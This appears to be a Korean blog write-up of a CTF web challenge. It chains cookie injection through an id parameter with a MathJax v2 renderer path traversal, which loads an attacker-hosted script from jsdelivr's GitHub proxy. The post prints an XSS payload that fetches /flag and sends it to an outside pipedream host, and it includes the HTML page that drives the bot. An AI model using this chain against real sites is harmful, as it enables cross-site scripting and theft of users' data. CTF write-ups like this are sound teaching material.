mathjax v2 에서는 cookie에 config 값들을 저장할 수 있다.
cookie에 저장된 config에는 mjx라는 prefix가 붙게 되는데 mjx.menu 설정을 보면 output format을 지정해주는 옵션이 있다.
cookie에 다음 값이 있으면 mathjax는 해당 버전의 output/svg/config.js를 불러오고 불러온 javascript를 토대로 output을 생성한다.
mjx.menu=renderer:svg
또한 cookie값을 기준으로 script를 불러올 때 굉장히 신기한 동작을 확인할 수 있었는데 svg대신 ../../../../../../../a#
를 넣으면 아래와 같이 요청을 보낸다.
이를 통해 우리는 jsdelivr에 있는 임의의 script를 맘대로 import할 수 있다.
이제 cookie를 컨트롤할 방법을 찾아야하는데 문제 페이지에서 사용되는 script를 보니 아래와 같은 코드가 있었다.
let cookies = {};
if (document.cookie.length > 0) {
decodeURIComponent(document.cookie).split(';').forEach(cookie => {
const [name, value] = cookie.split('=');
cookies[name] = value;
})
}
cookies.lastVisited = new URLSearchParams(window.location.search).get('id');
for (const key of Object.keys(cookies)) {
document.cookie = `${key}=${encodeURIComponent(cookies[key])}`
}
잘보면 id파라미터 값을 document.cookie에 넣어주는데 cookie값을 맘대로 컨트롤 할 수 있을 것 같다.
https://mathme.be.ax/note?id=1;asdf=asdf
위의 url로 접속하면
lastVisited에 id값이 정상적으로 들어가게 되고 이때 한번 더 새로고침을 하게 되면
정상적으로 쿠키가 삽입되는 것을 알 수 있다. 이제 cookie도 맘대로 컨트롤 하는게 가능한데 한가지 문제점이 생긴다.
jsdelivr에서 어떠한 script를 import해야할지를 모르는데 angularjs를 import해서 xss payload를 삽입해보았지만 xss가 발생하지 않았다.
그러다 굉장히 신기한 걸 발견했다.
https://cdn.jsdelivr.net/gh/as3617/asdf/asdf
jsdelivr cdn은 /gh/이후에 오는 경로로 github에서 fetch를 해주는 것 같다. 굉장히 신기한 기능이다. 그럼 이제 우린 깃헙에 exploit 코드를 업로드하고 해당 코드를 import해온다면 xss공격을 할 수 있다.
fetch('/flag')
.then(response => response.text())
.then(data => location='https://enjz2rnlbmvxg.x.pipedream.net/?q='+(data));
위의 코드를 github에 올린 뒤 jsdelivr로 접근해보았다.
잘 접근된다. cookie 값을 추가하려면 lastVistited에 임의의 값을 집어넣고 한번 더 새로고침을 해줘야한다. bot이 접속하는 url에 제한이 없기
때문에 내 서버로 데려온 뒤 exploit을 진행하면 될 것 같다.
payload
<html>
<body onload=exploit()>
</body>
<script>
function sleep(ms) {
return new Promise((r) => setTimeout(r, ms));
}
async function exploit(){
url1 = 'https://mathme.be.ax/note?id=1;mjx.menu=renderer:../../../../../../gh/as3617/forCTF/exploit.js%23';
window.open(url1);
await sleep(2000);
url2 = 'https://mathme.be.ax/note?id=1asdf';
window.open(url2);
}
</script>
</html>
'ctf writeup' 카테고리의 다른 글
asis ctf 2021 - web writeup (0) | 2021.10.25 |
---|---|
2021 Whitehat Contest Finals web writeup (0) | 2021.10.10 |
SSTF 2021 - poxe_center writeup (0) | 2021.08.17 |
IJCTF 2021 Memory (0) | 2021.07.25 |
0CTF/TCTF 2021 Quals - 1linephp [web] (0) | 2021.07.05 |